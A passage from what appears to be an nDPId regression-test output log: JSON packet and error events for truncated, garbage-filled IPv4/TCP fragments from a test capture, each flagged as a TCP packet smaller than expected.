-00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609937} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609942} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609947} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609952} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609957} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609962} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609968} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609973} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609977} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609982} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609987} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609996} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610006} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610015} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610024} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610033} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610043} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610053} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610062} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610071} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610081} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610092} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610102} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610111} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610120} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610132} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610147} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610157} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610166} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610176} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610273} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610278} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610283} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610288} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610292} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610297} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610301} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610306} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610310} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610314} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610319} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610324} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610329} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610334} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than 